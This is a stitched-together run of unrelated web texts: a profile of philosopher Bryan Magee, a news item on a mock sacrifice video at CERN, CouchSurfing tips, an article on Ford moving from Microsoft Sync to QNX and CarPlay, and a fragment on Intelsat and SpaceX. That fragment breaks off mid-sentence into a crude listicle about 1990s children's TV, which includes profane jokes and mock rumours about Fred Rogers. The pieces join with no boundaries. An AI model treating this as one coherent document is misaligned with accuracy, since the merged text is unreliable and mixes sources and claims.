dedicated to Wagner," says Brownjohn. "There were a lot of good poets there at the time and while Bryan wasn't the equal of some one like Geoffrey Hill I do remember a poem of his which really was rather fine." Magee says that despite the later eminence of many of his circle there was little sense of an overtly competitive environment. Rather, its members took it for granted that they would succeed. "If you had told me then that Jeremy Thorpe would be leader of the Liberal party in his 30s, William Rees-Mogg would be editor of the Times in his 30s and Michael Heseltine would be in the cabinet, I would have said 'of course'. It sounds horrible, but that's what we thought and it had a bearing on the way we conducted ourselves." In 1953 Magee was appointed to a teaching job in Sweden. While there he met and married Ingrid Soderlund who was a pharmacist in the university laboratory. They had one daughter, Gunnela, and they now have three grandchildren. "The marriage broke up pretty quickly and it was a fairly disastrous period of my life," says Magee. "I came back to Oxford as a postgraduate. But since then Sweden has been a part of my life. I go there every year and my daughter visits me. I always assumed that sooner or later I'd get married again but it never quite happened, although I had some very long relationships. And now I don't want to get married again. I like the freedom." He lives alone near Wolfson College, Oxford, where he is a fellow. At university Magee realised he didn't want to pursue a normal academic career but wanted to be an MP and a writer. He abandoned his doctorate and took up a fellowship at Yale. From the beginning he had felt out of sympathy with Oxford philosophy and found that the approach at Yale suited him better. "I have a certain view of philosophy which affects the way I do it. I think the right way to approach philosophical questions is through their history. Through examining what the great minds of the past have said about a problem, which you then critically evaluate, discard what you think is mistaken or not relevant now and then carry on from there. The other way is ahistorical. You take the problem as you face it and you take it to pieces. It has always seemed crazy to me to consider problems that people like Plato and Socrates have considered without taking into account what they have to say about it. You end up reinventing the wheel half the time." He says he went to the US with a complete set of left-wing anti-American prejudices. "But after a while I had an increasing sense of unease as I believed passionately in social equality, opportunity for everybody, high living standards for the mass of people and America had far more of all these things than Britain or anywhere else in Europe. The idea that America was more like the country I believed in than England was a terrible shock to me." In 1958 he published a travel book about the country, Go West Young Man, and returned to Britain with a view to becoming a Labour MP. However, he lost, in safe Conservative seats, at both the 1959 general election and a by-election the following year and instead became a reporter for the ITV current affairs flagship programme This Week. "We said to ourselves that we were making Guardian content available to a Mirror readership," he explains. "And we were sort of successful in that. All television figures were huge in those days, but we were watched by about a third of the population." Fellow presenters included James Cameron and Desmond Wilcox and Magee made a speciality of reporting on the decolonisation of Africa, American politics and eastern Europe. Another presenter, Judith Jackson, says Magee "didn't have the common touch in the way that someone like Desmond Wilcox did. Bryan had a more intellectual approach and perhaps the philosophy programmes were more his natural habitat. While he's very good- natured and has lots of friends, he doesn't want to sit down and make a consensus, he is much more solitary." Alongside his television work, Magee also became a music and theatre critic for Musical Times and The Listener. For some years he took lessons in composition but says while he could produce tunes that were "whistleable", he concluded that they were "inherently sentimental" and he was better suited to being a consumer, rather than a producer of music. "My father was a Wagner junkie and my sister and I reacted in opposite ways. She thought we were having Wagner shoved down our throats but to me it was like mother's milk. I adored it." He published Aspects of Wagner in 1968 (revised 1988) and Wagner and Philosophy in 2000. Magee illustrates how contentious the subject can be when he recalled how a "good-natured, intelligent and musical friend" responded to seeing his record collection by saying, "I had no idea Bryan was a bit of a Nazi". "My position is that I don't think the anti-semitism gets into the works in any significant way," explains Magee. "The fact is that anti-semitism was very widespread in European culture, with the result that an enormous number of very famous writers and artists were anti-semites. But in most cases it doesn't significantly affect their work and with Wagner I think it is demonstrably the case." Although not in parliament, Magee was politically motivated throughout the 1960s. His book The New Radicalism, about British society, came out in 1962 and two years later The Democratic Revolution, about the third world. " The New Radicalism is really New Labour, give or take," he says. "It was an attempt to persuade the Labour party to adopt social democracy." Robert Jackson says Magee was the first person to seriously apply the ideas of Karl Popper to contemporary politics. Popper's work on totalitarianism in the 1940s had seen him listed on the anti-communist side in the cold-war intellectual reckoning. "But what Bryan did was show the relevance of Popper to the Crosland-ite project of Labour reform," explains Jackson, citing in particular the proposed abandoning of Clause 4 of the Labour party constitution, ultimately carried out by Tony Blair in 1996, that committed the party to the state ownership of "production, distribution and exchange". "Bryan played a large part in domesticating Popper as a figure of the social democratic left. But ultimately I think the diagnosis of Popperism as being a rather conservative world view was correct and Bryan is a Popperian. It leads to an approach that is piecemeal, anti-ideological, anti projects of total transformation. It is the politics of adjustment and conciliation." Magee, who knew Popper and wrote a book about him in 1973, describes him as "a major philosopher but not really a very likeable man. I hugely valued my relationship with him, but to be honest I never really liked him." Instead Magee picks out Bertrand Russell as the most impressive individual he met, "because of his extraordinary intelligence. Anything you say about it will sound like a cliché, but it was extraordinary." During the 60s Magee made documentaries about sex in Britain. The subjects included prostitutes and their clients, adultery, sexually transmitted diseases, abortion and homosexuality, which was then illegal. Magee went on to write a book about homosexuality called One in Twenty. "British society was illiberal in a number of areas that are now taken for granted," he says. "Roy Jenkins changed them and he was bitterly opposed by the Tories. But if you were liberal with a small L there was a menu of social change and I believed very strongly in that whole liberal agenda." Magee set about another attempt at getting into parliament in the early 70s. He had been "inching" to the right from a non-communist Labour left starting-point and by the time he won Leyton in east London in 1974 he describes himself as a "mainstream" Labour MP. But with the election of Michael Foot as Labour leader in 1981 he found himself out of tune with the party and, after some prevaricating, he left to join the newly-established SDP, under whose banner he lost his seat in 1983. He says now that it was probably a mistake to go into the Commons at all. "I think it was a residual ambition that had been in my head since I was a schoolboy and I hadn't critically reassessed that vision of my future as I should have done." John Horam, fellow Labour and SDP - and now Conservative - MP, says that while Magee could be a good speaker and was active in some high-profile parliamentary debates "I don't think his heart was really in it and you need that to carry on because it is such a crazy profession otherwise. But he had the same strengths as Roy Jenkins in being ruthlessly clear. Although with Bryan there can sometimes be a social cost to that in that he doesn't dissemble." Magee says that even as an MP, the thing he cared about most was his writing. It is a commitment that has affected his personal, as well as professional life. "While I've led a full life and had a lot of relationships, I was never prepared to sacrifice my writing," he says. The most important of these relationships was with the painter Maria Rossman, with whom Magee was involved for 11 years in the 70s and 80s, although they didn't live together. Rossman had children from a previous marriage. "That she lived in one place with her kids and I lived somewhere else was a way of keeping the whole thing going," he explains. "If we'd lived together it would have come apart. I always felt that if I lived with a woman the conflict between her and my work would become unmanageable, whereas if she had a home of her own and a life of her own it would be easier for her to accept what I was doing. I couldn't really have chosen not to write and would have been deeply disturbed if I'd done anything else. One's commitment to the writing is fundamental to one's sense of self." Judith Jackson, a friend for more than 40 years, agrees that Magee has made sacrifices in terms of his relationships. "He's never been the sort of person you'd go on a picnic in Richmond Park with, so he does miss out on that side of life to a degree. But he loves academic life and university life and he spends a lot of time searching his own mind and other people's minds and that gives him pleasure." In 1977, while still an MP, Magee published a long novel, which started life with a working title of Love Story but was eventually published as Facing Death as he followed his philosophical inclinations. It had been turned down by 15 publishers before it was finally published by William Kimber. It was shortlisted for the Yorkshire Post fiction award that year. The following year he made the television series Men of Ideas, which comprised 15 dialogues of 45 minutes each with leading contemporary thinkers such as AJ Ayer, Isaiah Berlin and Herbert Marcuse about their work. A decade later he used the same format to discuss the great philosophers of the past. Magee won a Royal Television Society award and acknowledges that "if I'm remembered for anything it will be those philosophy programmes. I still get a little of, 'aren't you the chap who?'" Magee calls his 1983 book The Philosophy of Schopenhauer (revised in 1997) the closest "to my academic magnum opus" and hopes that his contribution to philosophy has come through his presenting the work of other thinkers and then adding something to it. In his 1997 intellectual memoir, Confessions of a Philosopher, Magee launched a robust attack on Oxford analytic philosophers and expected equal opprobrium in return. For the most part the counter-attack never came; instead, he was attacked far more for being dismissive of religion. It is an issue that cuts to the heart of what he thinks philosophy is for. "I see religion as a way of avoiding fundamental problems that have arisen because we don't know certain very basic things about our own lives which I think are unknowable. I'm against that kind of false self-consolation. It prevents people really confronting the harsh reality of our situation." He says that as a child an early appreciation of this harsh reality would upset him. "I sometimes used to feel it was threatening my mental health. But I feel we ought to grapple with things and not evade and I certainly feel that about philosophers. I feel there is a professional obligation not to seek consolation. This is certainly part of what philosophy is for." For many years Magee undertook "great and good" roles on boards and committees. Most dramatically he resigned as chairman of the Arts Council music panel in 1994 when pressured to make cuts. But he has now withdrawn from most outside obligations to concentrate fully on his writing. He says he has several books planned, including another novel and a second volume of memoirs. "I'm conscious of my age and I don't know how much good working time I've got left. I think the last five or six years have been my most productive and I want to keep going and spend that time on my own projects. I've worked out that if I work full-time it will take me into my 80s and there are still a lot of books I want to write." · Clouds of Glory is published on June 12 by Jonathan Cape, price £16.99. To order a copy for £14.99 plus p&p call Guardian book service on 0870 066 7979.The European Organization for Nuclear Research (CERN) has launched an investigation into a video filmed at night on its Geneva campus depicting a mock ritual human sacrifice, a spokeswoman said Wednesday. The bizarre video which has circulated online for days shows several individuals in black cloaks gathering in a main square at Europe's top physics lab, in what appears to be a re-enactment of an occult ceremony. The video includes the staged'stabbing' of a woman. The European Organization for Nuclear Research has launched an investigation into a video filmed at night on its Geneva campus depicting a mock ritual human sacrifice (pictured) The bizarre video which has circulated online for days shows several individuals in black cloaks gathering in a main square at Europe's top physics lab, in what appears to be a re-enactment of an occult ceremony 'These scenes were filmed on our premises, but without official permission or knowledge,' a CERN spokeswoman told AFP in an email. 'CERN does not condone this type of spoof, which can give rise to misunderstandings about the scientific nature of our work,' she added. The 'investigation' under way was an 'internal matter', she said. The video has raised questions about security on CERN's campus. Asked to detail the security procedures surrounding access to the campus, the CERN spokeswoman said: 'CERN IDs are checked systematically at each entry to the CERN site whether it is night or day.' Bizarre: The video includes the staged'stabbing' of a woman The people in the video are thought to have had access badges for the CERN site She further indicated that those responsible for the prank had access badges. 'CERN welcomes every year thousands of scientific users from all over the world and sometimes some of them let their humour go too far. This is what happened on this occasion,' the email said. The spokeswoman was not available to comment the possible identity of those responsible. Geneva police told AFP they had been in contact with CERN about the video but were not involved in an official investigation. CERN hosts machinery carrying out some of the world's most elaborate particle research, including an enormously powerful proton smasher trying to find previously undiscovered particles.“Advanced CouchSurfing Tips.” Sounds like I’m full of myself, doesn’t it? I have yet to write Beginning CouchSurfing Tips (1. Fluff your pillow.), but I am going to assume you have a general understanding of it. I have a CouchSurfing and Servas overview on my website, but CouchSurfing can be an unwieldy and buggy thing to navigate, and its powers aren’t fully utilized by most. While a lot of this is focused on strategies in finding hosts, it’s really only one aspect of CouchSurfing, which is invaluable in bringing travelers in contact with local people whether you stay with them or not. There are several overlooked tools I will explain, though the real lessons are to be proactive and, as always, don’t forget that life is too short to be shy. Nobody loves me, it’s true A traveler over 40 lamented to me that CouchSurfing is a tough way to go as they felt marginalized, that CouchSurfing was a young man’s game. It may be so. When I was in my 20s, I wasn’t keen on hanging out with people in their 40s and I’m sure I muttered under my breath that I hope I’m not backpacking when I become 40. As you can see, I’m in total denial about my age and I don’t think anything of asking to visit someone half as old as I am. We’re travelers first! Age schmage! However, sometimes I need a dose of reality. The answer is you need to raise your game. You can’t rely on things coming to you as they might have in the past. You have to create your own luck. There are a few ways to do this whatever your “handicap”: age, being new to CouchSurfing, not having a lot of time to examine hundreds of profiles, etc. On the CouchSurfing surf page it states, “We recommend sending thoughtful CouchRequests to at least 5 hosts per location”. That’s a lot. (I guess it is in keeping with how CouchSurfing began, when on a trip to Iceland the founder randomly e-mailed 1,500 students from the University of Iceland asking if he could stay.) The problem is I hear of hosts who don’t get the “Thanks, but no thanks” email when the surfer choses to go with someone else, which is incredibly rude but not uncommon, unfortunately. I also don’t like it because as a host I would feel I am being juggled or leveraged to see if the surfer can get a better situation. If I agree to host someone and they tell me two days later that they are going to stay with someone else, will I be so eager to say yes to the next request I get?I never send five requests at once. What I do is try to pinpoint two or three people who seem interesting and also look like they might host me. I send one request one day and then one to another person the next day. If the second person agrees to host me, I email the first person before I’ve heard back from them to say that I’ve found someone.I will search for the unusual: hosts in Japan who speak Hungarian or hosts in Hungary who speak Japanese–something I can point out that we have in common. In the “Tell your host why you’d like to meet them” part, I give that some thought. Are there books or movies we both like? Usually my big selling point is that I have been to most of the countries on their “Wants to Go” travel list and am happy to talk about it if they are interested. I have the feeling most of the time that the person is impressed that I bothered to read their whole profile.I do a lot of filtering. If they haven’t logged on in a long time, I ignore them. If they have logged in from another country, I make a mental note of where that place is because often in developing countries proxy servers will be used or there is some CouchSurfing glitch where, for example (and for reasons I haven’t figured out) hundreds of people show that their last log-in was Potwin, Kansas, USA. Otherwise, I ignore them. If I am looking for a host and there isn’t much time before my arrival, sometimes I also use the filters to show only male hosts older than 30. It’s just the odds. That said, the last few hosts have been women because they found me and offered to host. How did this happen?One way was in Berlin a few months ago when a woman emailed to ask if I was still in town and wanted to meet to talk travel. She knew I was in town because she simply logged in to her CS homepage. In the “Locations Traveled” part of your profile, when you edit it by going to “Create a new destination” and then “Places I will be going”, if you fill that out completely, then the next time someone from that place logs in to their account, on the CS homepage your profile will appear as “Surfers looking for a host”. If you just fill in the country you are going to without the city, it won’t appear. I was leaving town when I got the email, but she offered to host me when I returned the next time, which I gladly accepted. The same thing happened in several places in Indonesia when I was there earlier this year.If you do a general search of a big, popular city, you will see a zillion hosts, almost all of them sick of guests. You can always tell by the caps and exclamation points in their 5000-word manifesto for the “Couch Information” section of their listing, often in the first sentence: “ATTENTION: READ THIS COMPLETELY BEFORE YOU CONTACT ME!!!” Stay in the suburbs. If you think this is hardly a novel tip, then why are the people in the middle of the cities inundated with guest requests? Suburban hosts are more enthusiastic to have a guest, more likely to have time for you and more amenable to you staying longer or returning.Take San Francisco, the city I was born. Instead of wasting a lot of time whittling down the hundreds of listings, try the nearby towns with excellent transit connections into the city like South San Francisco, San Leandro, or Daly City. Those of us who grew up in the Bay Area snicker at the mention of these places, but that’s just our local prejudice. In other parts of the world I’ve had the best times visiting people in unsexy suburbs or in non-touristic towns.Going about it is a little problematic because of the difficulty in searching the suburbs. The “search by map” feature is OK, but it doesn’t work as precisely as one would like and the “browse locations” feature on the surf page will take a long time to use since there are many suburbs to check. Compounding this is the always-mystifying search results shown by “relevance”, the website is often down or overloaded, I don’t receive all my CS emails, etc, etc. No one said it would be easy. The Power of CouchSurfing Groups How would I go about finding a place to stay in Istanbul for a couple of months? Where could I buy a second-hand bike in Bogota? Meet someone to hitchhike with me in Norway? CouchSurfing groups! Don’t just search through the ads, put one up. You never know who is looking. Someone might know someone who knows someone whose uncle’s cousin’s sister’s mailman can help. Your timing might be good. You simply never know until you try. There’s a surprising amount of activity with thousands of members in a wide variety of groups such as Vegans and Vegetarians, Cyclists, and Language Exchanges and hundreds of members for more alternative groups like Nudist Lifestyle and Polyamory—Wait! I’m not finished yet! Come back!—but I’m still crushed the Fans of Visiting Jails group never got going. The power of CouchSurfing groups is that no one owns them. Anyone can create a meeting, propose an excursion, ask for advice—the possibilities are endless. When I was in Jakarta I slapped up a post on the local CouchSurfing group seeing if anyone wanted to get together the next evening at a cafe. To my surprise we became a group of 12 or 13, which I call a great success since it was less than 24 hours notice, I’m a man, and traffic in Jakarta is horrendous. (Indonesians are taking to CouchSurfing with gusto; it’s a fantastic place to visit anyway, but being able to meet locals in more remote parts of the country through CouchSurfing is a big benefit.) You don’t even have to be a traveler. If I moved to Tokyo (and I’m thinking about it) the first thing I would do is sign up for the CS Tokyo group to meet people, get acclimated and get inspiration of what my possibilities are. I try to join the CS groups for the next two or three places I am visiting a few weeks early to get clued in as to what is going on. If you aren’t going to be in town very long, you don’t want to wait until after you arrive to join the group because some things take time to arrange and some opportunities may have passed. I joined the Rio de Janeiro (“January River” never sounded so alluring) CS group well before I arrived and I saw a notice someone had placed an ad where they were looking for North Americans without strong accents to do voiceover work for a children’s educational CD. I made $75 in less than two hours on a fun project and believe me when I say that earning $75 on the road feels like a lot more than saving $75 at home.Earlier this year I was headed to Semarang, Indonesia, a big city where very few travelers go. I wasn’t sure if I was going to stay one night or two, so I didn’t look for a host because I never feel comfortable asking to stay one night. It’s too short and screams of insincerity (“I arrive in the evening and leave in the morning—looking forward to meeting you!”). What I did do was post an ad in the Semarang group asking if there were some new hostels that the Lonely Planet book doesn’t show. One girl responded to say that she had a friend who rents a cheap spare room in his family home, and I arranged a stay with him, easily and perfectly.What I think is a waste of time—if you aren’t a girl—is to join CouchSurfing Last Minute Request groups for the particular city you are going to. I don’t think anyone is trolling there looking to host guys. That said, it doesn’t take much time to make a posting and you have nothing to lose. The Facebook CouchSurfing group is almost completely useless, full of people investing no effort by writing half-sentences like “Anyone from Buenos Aires?” though I like the guy who asked, “Do you have some informations about interesting events in USA (22 August – 1 September 2012)?”CouchSurfing can open up a world of possibilities, I love it to death, but I feel compelled to repeat something I wrote on my website: the main reason people stop hosting or drop out of CouchSurfing altogether is because of inconsiderate guests. I hear the stories: guests that hardly say two words and hide out in their room to listen to their iPod, guests who never arrive and never call to cancel, guests who make demands, guests who make bold assumptions about their plans fitting in with their hosts plans, etc. I’m not saying I’m a model guest—I can hardly keep track of all the restraining orders against me these days—but I try to be conscientious of the fact that I have been granted an enormous privilege to be a guest in someone’s home.What do you think of CouchSurfing? Do you have different ways of using it? Have you had good or bad experiences? Conversely, is it not your thing and you prefer something like airbnb.com? I’m interested to hear your opinions, as always.Feature Ford has abandoned its troubled Microsoft Sync automotive infotainment system for a QNX-based platform that can support Apple's CarPlay with Hands Free Siri. Bad news for Microsoft's carputer dreams Ford moved away from Microsoft's carputer platform in order to deliver a system that was "more responsive and less clumsy to use." Good news, bad news for BlackBerry Apple's evolving car integration makes iPhone the computer Google copies CarPlay, claims credit for engineering the system Ford--the second largest car maker by unit market share according to Edmunds.com--first expressed an interest in supporting Apple's CarPlay (then known as iOS in the Car) in the summer of 2013, just as Apple introduced the initiative.While some seemed surprised by Ford's interest in Apple's iOS integration system given that the company had long partnered with Microsoft on Sync, the carmaker had earlier worked with Apple to deliver automotive iPod integration starting in 2006, a year before adopting Microsoft's Windows Embedded Automotive platform built on Windows CE.Apple began driving automotive iPod integration in the early 2000s with evolving serial control systems that culminated in its " Made for iPod " program. In 2004, Apple launched USB iPod integration with BMW, followed by partnerships with Mercedes-Benz, Volvo, Nissan, Alfa Romeo and Ferrari in 2005.After releasing iPhone in 2007, Apple expanded car support to include Bluetooth wireless connectivity on both iPhones and new iPod models. That same year, Ford and Microsoft introduced Sync with support for USB and Bluetooth devices, prominently listing Apple's iPods as compatible devices.Ford has since struggled to keep its Windows Embedded Automotive carputer platform relevant in the face of poor reviews. Engadget reported this week that, in response to customer complaints, Ford moved away from Microsoft's carputer platform in order to deliver a system that was "more responsive and less clumsy to use."Less than two years ago, AutoNews Europe detailed ambitious plans by Microsoft to hold onto its car customers. It cited Pranish Kumar, group program manager for Windows Embedded Automotive, as saying, "we've been in the automotive arena for a while already, but we think we can take it a lot further."Profits in automotive are alluring; IHS iSuppli estimated Ford Sync's core hardware to cost around $130, but Ford marketed the voice activated Sync, along with a Sirius radio and a convenience package, in a option priced at $1,250.Selling Sync was a significant priority at Microsoft. The report described a "$70 million co-branded and integrated marketing campaign" which "leveraged the global recognition of Microsoft brand name with the tagline 'SYNC, powered by Microsoft.'"It added that "by the end of 2009, SYNC was available on over 20 of Ford's passenger vehicle models, with the feature 'take-rate' averaging approximately 70% across the line-up."Ford is now using QNX, a real-time embedded OS platform that BlackBerry acquired in 2010 with the intent of delivering a new BlackBerry OS 10 that could compete with iOS. BlackBerry's new OS with a QNX-kernel failed to make a success out of the PlayBook tablet, and hasn't done much to turn around the company's failing fortunes in smartphones.This summer, Ford itself announced plans to dump its corporate BlackBerry and feature phones in a plan to get "everyone on iPhones," citing advantages in security and simplicity. The car maker plans to deploy 9,300 iPhones over the next two years.A variety of industries continue to use the QNX kernel itself. The embedded realtime OS has established a particularly entrenched niche in automotive on-board computer systems since the early 2000s, with clients including General Motors, BMW, Audi-Volkswagen and now Ford (shown below).Apple has incrementally enhanced its device-centric car integration initiatives rather than attempting to push automakers to switch from their existing QNX systems to an entirely new hardware and software system based on iOS.This allows Apple's devices to not only work with QNX vehicles, but also with carmakers associated with the rival GENIVI Alliance ("Geneva In-Vehicle Infotainment"), a Linux-based system that counts GM, PSA/Peugeot-Citroen, Renault-Nissan, Hyundai and BMW among its members, as well as other proprietary systems.By creating a system where the user's iPhone is the brains, face and development platform of the car-centric apps they use, Apple has effectively rendered automotive systems using QNX, Linux and Windows Embedded Automotive as low value commodity devices for displaying its own iOS interface.Apple's 2012 introduction of Eyes Free Siri support in iOS 6 initially allowed users to apply the mobile connectivity and computing power of their iPhone to deliver voice control of GPS, music playback and other features while driving.Apple subsequently introduced anticipated plans to deliver " iOS in the Car " at WWDC 2013, which was later revealed to be an extension of its "Made for iOS" car integration specifications and licensing program as well as Eyes Free Siri.In addition to Siri-based voice commands, iOS in the Car promised to export an auto-optimized version of their iPhone's user interface to their car's built-in dashboard display. While Apple had already delivered some in-dash iPod integration features, iOS in the Car promised an entire, voice-driven UI supporting interactive Maps, text messaging and audio playback.Earlier this year, Apple rebranded the feature as CarPlay, highlighting its similarity with AirPlay. CarPlay effectively renders an external UI on the user's iPhone and sends it via USB or wirelessly to the car's in-dash automotive system for display, relaying any user touchscreen events back to the phone along with input from microphones, dials and button interfaces built into the car.The CarPlay architecture is also similar to Apple Watch, which will also delegate heavy-lifting computing tasks and mobile networking to the user's iPhone, enabling the watch itself to act as a thin client interface with the longest possible battery life.CarPlay effectively renders the driver's connected iPhone the ubiquitously connected, frequently updated brain (and development platform) for car computing features, as opposed to integrated carputer systems which are rarely updated and use hardware that is typically never upgraded over the life of the vehicle.Conversely, iOS users frequently update their devices and commonly upgrade their personal phone at least every two years, enabling Apple to deploy increasingly powerful and intelligent features into CarPlay-enabled vehicles, the screens of which essentially serve as a display for the connected iOS device.This summer, a year after Apple debuted iOS in the Car, Google introduced its own Android Auto, a direct copy of Apple's CarPlay concept and implementation. Google's version exposes a more complex and involved user interface, although the search giant has not yet pursued any plans to directly inject advertising into Android Auto.Google's engineers presented their efforts during the company's IO conference as if they represented an original, unprecedented undertaking, describing Android Auto's CarPlay features as if they had independently originated at Google. By implementing Apple's CarPlay's device-centric strategy rather than pursuing a carputer design like Microsoft or Blackberry's QNX, Android Auto can similarly work on the same kinds of in-dash hardware carmakers are already using, without needing to convince QNX licensees to switch to Android.That's also good news for Apple, because it creates a level playing field for all vendors rather than erecting barriers where certain new vehicles only work with a specific phone-to-car integration system. It will also make it easier for Apple to adopt any new features initiated by Android, such as extended support for deeper integration into automotive control systems such as door locks, climate control and system monitoring. Apple has already patented geofenced, automotive remote control features.Virtually all of the carmakers committed to one system have also thrown in support for the other, as both systems are relatively easy to support due to their similarity. Microsoft has also introduced its own CarPlay-like implementation for Windows Phone, which ironically wasn't supported at all in Microsoft's original Ford Sync system.Updated at 9:22 a.m EDT PARIS — Satellite fleet operator Intelsat asked U.S. regulators to block a SpaceX launch of two small satellites to test technologies for a future low-orbiting Internet-delivery constellation, claiming SpaceX has refused to disclose sufficient information relating to potential frequency interference and collision risk. SpaceX has apparently accepted at least part of Intelsat’s
like shirtsleeves, eyeballs pop from sockets redrimmed and vein covered, and brains, along with their central nervous system attachments leap violently from skulls. And of course, to complete the overall indelible nature of the show’s ambience, there were the sound effects. When Ren talks about snapping off someone’s arms, it’s accompanied by a sound like treelimbs snapping. When characters take falls, you can hear their vertebrae shatter into pieces like glass. Even the show’s most bizarre moments wouldn’t have been quite so bizarre without the appropriate sounds to accompany them. (i.e. Ren devouring a bar of soap like a “candy bar,” complete with myriad crackling sounds in “Space Madness.”) And of course, another area where the show “shined” most memorably was through its use of excessively detailed, surprisingly accurate, and nightmare inducing close-ups. (Of character’s decaying mouths, bile-encrusted orifices, hairy and cellulite-packed, acne-ridden asscheeks. You name it and they accentuated it.) Like roadkill, you couldn’t avert your eyes from the fascinating grotesqueness. (And whose influence you can see in popular contemporary cartoons, i.e. Sponge Bob). “Hey children, this is normally where a kid’s show would tell you to remember to floss but you couldn’t actually get a mouth like this even if you imbibed industrial waste for all of the formative years of your life. In other words, this show is severely f----d up.” John K. was fired from the show in late 1992, stating the primary reason as creative differences, while many of the people involved with the show citing the creator’s inability to work in a timely manner. Nickelodeon moved production from John K’s Spumco to its own in house project, Games studio, but the show only lasted for 3 more years, with numerous critics and fans stating that the quality of the show had deteriorated with the creator’s departure. The show returned briefly under John K’s mantle again in 2003 on Spike TV, under the guise of Ren & Stimpy: Adult Party Cartoon. But even this would prove to be ill-fated. According to Wikipedia: “The series, as the title implies, explores more adult themes, including an explicitly homosexual relationship between the main characters, and an episode filled with female nudity… The show began with the ‘banned’ Nickelodeon episode ‘Man’s Best Friend’ before debuting new episodes. Fans and critics alike were unsettled by the show from the first episode, which featured the consumption of bodily fluids such as nasal mucus, saliva, and vomit. Only three of the ordered nine episodes were produced on time. After three episodes, the entire animation block was removed from Spike TV’s programming schedule.” Despite this, the show still remains untarnished in my eyes for its unique, bizarre brand of brilliance and for bringing countless laughter into the lives of both myself and my little brother growing up. (Hell, even to this day after having watched a few of the episodes again for reference.) Other notable memories from the show: Muddy Mudskipper, George Liquor, Log, Magic Nose Goblins, “Don’t Whiz on the Electric Fence,” and “No sir, I don’t like it.” Can there ever again in the annals of a time be an individual so gentle, so soft-spoken and genuinely entreating to his dear “neighbors” as Fred Rogers? A man who found kids television programming at the time so utterly despicable that he abdicated years of whatever grueling, special forces-esque training one must undergo to become a minister just to set out and fix it… armed with nothing but a wardrobe full of carefully knitted cardigan sweaters and an army of autonomous puppets. We had to be victims of some elaborate ruse or Andy Kaufman type stratagem. Surely a famous TV host so amicable and benign on camera with a smile so everlasting that it became borderline diablolic in portent harbored some dirty-ass secrets; a heroin shooting deviant at the least behind the scenes, diddling droves of children and flogging the dimpled asses of hogtied and ball-gagged nuns with bullwhips for recreation. (Just look at what Full House did to Bob Saget.) But no. Mr. Rogers was just as his on-screen persona suggested: an upstanding human being. You couldn’t find an ounce of dirt on this guy if he were in the middle of digging you a shallow grave on the side of a deserted highway. Not to say people didn’t try. After his death in 2003, there were accusations that Rogers was a former military sniper with an extensive kill tally, or that he was covering swastika-pentagram tattoos with his trademark garb, or that his sneakers had been used to kick in the heads of newborns, but they were all refuted as mere urban legends and falsifications. “Don’t let the humble attire fool you, neighbor. I am all that is man. So manly that a deranged murderer who broke into my house and held me at gunpoint realized the error of his ways, laid down his weapon, and fell asleep in my arms, crying, while I gently tousled his forehead.” It’s not as if Rogers acted all goody-two-shoed in some contrived fashion just to secure a more lucrative paycheck or to pander to audiences for higher ratings: Rogers also believed in not acting out a different persona on camera compared to how he acted off camera, stating that ‘One of the greatest gifts you can give anybody is the gift of your honest self. I also believe that kids can spot a phony a mile away.’ Compare that to the modern day celebrity, who fears they might mire away in obscurity if they don’t drive drunkenly into a school bus full of orphans every couple of weeks or whose morally sound onscreen personas are completely antithetical to their real lives of incessant debauchery. Despite nobody ever learning what it was exactly that Mr. Rogers did during the day before returning home to change into his nice, comfortable sneakers, the man was to be lauded for the gifts of knowledge he shared with children. “For example, one of his famous songs explains how a child cannot be pulled down the bathtub drain because he or she will not fit.” Taken out of context, this quote seems really f-----g weird. But who among us can honestly admit that growing up, they didn’t quiver with trepidation at the thought of being sucked down the bathtub drain, fingers clawing in futility at the rusted drain and body spinning in a vertiginous blur into that narrow abyss below? I’d honestly add even a single, solitary smart assed remark about how Mr. Rogers was too strange to be on the level, or so unabashedly nice that he’d have driven Gandhi to suicide, in an attempt to infuse some more cheap humor, but I just honestly can’t do it. The man instructed people on how to better their lives and brought joy into the hearts of millions. Every damn day. So all I can do is give a silent nod of appreciation for the man. I’d like to think he’s up there with Robert Stack right now, both of them flashing good natured grins as they unravel all those previously unsolved mysteries in true, good neighborly fashion, Rogers saying “Well, that mystery would never have lasted for even a day had he watched one of my episodes to the end where I stared into the camera and said ‘You make each day a special day. You know how; by just your being you. There’s only one person in this whole world like you. And people can like you exactly as you are.'” Unlike the other shows on this list, this one isn’t on here because I necessarily think it’s good. It’s because I think making puppets, puppets that resemble hominoids, or puppet-human hybrids this s----y looking ever again should be outlawed: Jesus. This assemblage of a------s look like a blasphemous amalgam of the Teletubbies, Max Headroom, the scary ass puppets from that Genesis video, the computer-animated zombies that pass for humans in the Polar Express movie, and, the guy in the upper right especially, how your uncle would appear if he was accidently killed in some taxidermic mishap. I wanted to tell you more about and do further research on this show, but f--k it. I can’t stand to look at these damn plasticized ghouls for even one more moment. Go Google them or something. Oh yeah, and there’s this video: If your workplace doesn’t condone a video meshed together in such a way that it resembles Lil’ Jon commanding a pink-haired little girl to vigorously grab his genitalia or to “bend her ass to the floor,” then I think it’s safe to say you shouldn’t watch this video at work. For the down low on the Animaniacs, we turn to our resident animation expert, Mark: Premiering in 1993 as the successor to Tiny Toon Adventures, Steven Spielberg’s Animaniacs has been often imitated, but never duplicated. The cartoon’s primary “plot” (if you could call it that) revolved around the Warners (Yakko, Wakko and their sister, Dot), who were sealed in the water tower of the Warner Bros back lot back in the 30s because they were too weird. They eventually escaped and all I’m really doing right now is rephrasing the lyrics of the theme song, so I’ll stop. Animaniacs had a number of stand out qualities that made it one of the most popular cartoons of the early 90s. It was very contemporary, and being set in Hollywood, that meant it was constantly taking jabs at the current cinema and scandals of Tinsel Town. The jokes were written on levels so that you could go back and rewatch an episode every five years and always notice something you “didn’t get” the last time around; because as you got older and smarter, the depth of the humor became gradually more apparent. Not pictured here: 5 seconds of animation containing 30 sight-gags and hidden references you thought you caught the first time… but didn’t. But what really made Animaniacs stick out, and this is what its imitators never got, was just how genuinely rebellious it was to the landscape of early 90s children’s animation. Ren & Stimpy was shocking parents with its manic violence and Rocko’s Modern Life was breaking new ground in the area of “slipping as many blow job, sodomy, masturbation and penis-pinching jokes into a children’s show as possible”, but Animaniacs was different. It saw that the television animation industry had become an insipid wasteland of edu-tainment and bland, saccharine nonsense and it wasn’t shy about flat-out telling the kids of the 90s, “We hate this s--t as much as you do.” To challenge the network guidelines of the era that every animated program contain some form of educational content, each episode of Animaniacs would end with the “Wheel of Morality”, which acted as a random delivery system for “informative” lessons while otherwise never making any sense. The creators’ disdain for their animated competition was never particularly subtle, either. The episode “Jokahontas” begins with an absolutely scathing, brutal flogging of Walt Disney animation, from their shallow, formulaic heroines to their business model of churning out the 